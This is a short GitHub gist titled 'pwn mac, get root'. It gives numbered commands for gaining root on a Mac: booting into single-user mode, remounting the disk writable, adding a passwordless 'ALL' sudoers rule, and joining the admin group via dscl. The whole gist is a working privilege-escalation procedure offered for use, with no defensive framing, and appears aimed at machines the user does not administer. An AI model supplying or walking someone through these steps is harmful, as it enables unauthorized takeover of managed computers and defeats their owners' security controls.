Skip to content

Instantly share code, notes, and snippets.

@20esaua
Last active May 13, 2021 10:01
Show Gist options
  • Save 20esaua/793c1fedddac9b83e9540d559e882792 to your computer and use it in GitHub Desktop.
Save 20esaua/793c1fedddac9b83e9540d559e882792 to your computer and use it in GitHub Desktop.
pwn mac, get root

Instructions

  1. Shut down your computer, and turn it on again. Hold ⌘+S while it is booting.

  2. Mount the partition as read/write by running this command:

sudo mount -uw /
  1. When the console is done loading, run the command:
sudo visudo
  1. Press the letter i once. Scroll to the bottom of the file. Enter in the following, replacing username with your username:
username ALL=(ALL) NOPASSWD: ALL
  1. Press the escape key. Type in :wq and press enter. Run the command below to reboot the computer now. Do not hold ⌘+S this time:
sudo reboot
  1. Log in, and open Terminal. Run the command below, replacing username with your username:
sudo dscl . -merge /Groups/admin GroupMembership username
  1. Reboot the computer once more, for good measure:
sudo reboot
  1. Congratulations. You are now root.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment